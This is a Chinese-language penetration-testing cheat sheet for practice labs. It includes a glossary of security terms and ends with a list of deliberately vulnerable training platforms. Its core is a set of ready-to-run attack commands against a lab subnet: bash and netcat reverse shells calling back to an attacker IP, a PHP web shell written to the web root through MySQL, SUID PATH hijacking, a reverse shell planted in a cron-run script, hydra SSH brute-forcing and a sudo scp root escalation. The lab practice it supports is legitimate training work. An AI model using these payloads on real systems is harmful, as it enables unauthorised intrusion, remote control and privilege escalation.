笔记术语
网址
https://icyberchef.com https://gchq.github.io/CyberChef/ 加密解密
https://10015.io/tools/sha512-encrypt-decrypt 加密解密
https://www.dcode.fr/identification-chiffrement 识别是什么加密的
术语
Writeup
: 专稿,详细报告payload
: 有效攻击载荷,在漏洞利用(exploit)后真正在目标系统执行的代码或命令- sqlmap : 攻击代码的模板
- msf : shellcode类似,功能是建立与目标的连接
shellcode
: 可提权代码,通常为用汇编语言编写的指令,在 EXP 时作为 payload 使用Exp
,Exploit
: 漏洞利用,指利用漏洞攻击的动作vul
,Vulnerability
: 漏洞poc
,Proof of Concept
: 漏洞证明,用来验证和复现漏洞的存在0day
: 没打补丁,没公开的漏洞cve
: 国际漏洞编号,漏洞字典cnvd
: 中国漏洞编号,漏洞字典apt
,Advanced Persistent Threat
: 高级可持续性攻击Pwn
: 是一个黑客语法的俚语词 ,是指攻破设备或者系统RCE
,Remote Code Execution
: 远程代码执行
命令
- 网关/掩码 :
192.168.56.2/24
- 目标IP :
192.168.56.100
- 攻击IP:
192.168.56.7
存活扫描
nmap -sP 192.168.56.2/24
端口服务扫描
nmap -sC -sV -p- 192.168.56.100 -oN hack100.nmap
目录扫描
# gobuster
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.56.100 -x .php,.html,.txt
# dirsearch
dirsearch -u http://192.168.56.100 -e php,html,txt,zip -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
dirsearch -u http://192.168.0.68
# 有UI
dirbuster
反弹 shell
攻击机
nc -lvvp 4444
- 在代码执行漏洞
输入 payload
提交反弹
&bash -c 'bash -i >& /dev/tcp/192.168.56.7/4444 0>&1'
- MySQL 有写入权限 (phpMyAdmin)
将 payload
写入到文件中
select "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.7 4444 >/tmp/f');?>" into outfile "/var/www/html/shell.php"
- PHP
将 payload
写入到PHP能解析的文件中,.php
,.php2
,.php3
,.php5
,.phtml
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.7 4444 >/tmp/f');?>
将目标机的 shell
反弹到攻击机后,接着切换到完整的交互 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
# 记录 rows 21 columns 106
stty raw -echo;fg
reset
stty rows 21 columns 106
SUID
find / -perm -u=s -type f 2>/dev/null
环境变量劫持
# toto 具有 SUID 权限,功能调用 id 命令执行
# 在 /tmp 目录下创建 id 文件
echo "/bin/bash"> /tmp/id && chmod +x /tmp/id
# 查看当前环境变量:
echo $PATH
# 把 /tmp 目录添加到环境变量
export PATH=/tmp:$PATH
# 再次查看环境变量是否添加成功
echo $PATH
# 执行toto
./toto
pspy
Pspy是一个命令行工具,在不需要root权限的情况下窥探进程。它允许在其他用户运行的命令、cron作业等执行时查看它们。
查找到有权限的用户的进程,一下定时执行的可执行文件可通过低权限(其他权限)可写入时,可直接写入反弹 shell 到该程序中,等待有权限的用户在定时任务中执行这个程序,即可反弹该用户的 shell
ls -al
-rwxrwxr-x 1 b b 313 Mar 30 2021 manage.sh
echo 'bash -i >& /dev/tcp/192.168.56.7/4444 0>&1' >manage.sh
若查找到用户 a
定时会执行 manage.sh
,接口通过 b
用户写入反弹 shell ,攻击机只需要耐心等待即可获得 a
用户的 shll
密码爆破
hydra -L user.txt -P ~/Blasting_dictionary/常用密码.txt 192.168.7.124 -s 2222 ssh
sudo-scp 提权
当scp命令有免密sudo的权限时,可以用来进行提权到其他账号
1、确认scp有sudo免密权限 (root) NOPASSWD: /usr/bin/scp
$ sudo -l
sudo -l
Matching Defaults entries for test on test:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hacksudo may run the following commands on test:
(root) NOPASSWD: /usr/bin/scp
2、输入下列命令,即可完成提权
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
id
uid=0(root) gid=0(root) groups=0(root)
靶场
upload-labs
xxe-lab
使用docker快速搭建各大漏洞靶场,目前可以一键搭建17个靶场
vulstudy是专门收集当下流行的漏洞学习平台,并将其制作成docker镜像,方便大家快速搭建环境,节省搭建时间,专注于的漏洞学习上。目前vulstudy
包含以下漏洞学习平台:
序号 | 漏洞平台 | 包含漏洞 | 作者 | 语言 |
---|---|---|---|---|
1 | DVWA | 综合 | 未知 | php |
2 | bWAPP | 综合 | 未知 | php |
3 | sqli-labs | SQL注入 | Audi | php |
4 | mutillidae | 综合 | OWASP | php |
5 | BodgeIt | 综合 | psiinon | java |
6 | WackoPicko | 综合 | adamdoupe | php |
7 | WebGoat | 综合 | OWASP | java |
8 | Hackademic | 综合 | northdpole | php |
9 | XSSed | XSS | AJ00200 | php |
10 | DSVW | 综合 | Miroslav Stampar | python |
11 | vulnerable-node | 综合 | cr0hn | NodeJS |
12 | MCIR | 综合 | Spider Labs | php |
13 | XSS挑战之旅 | XSS | 未知 | php |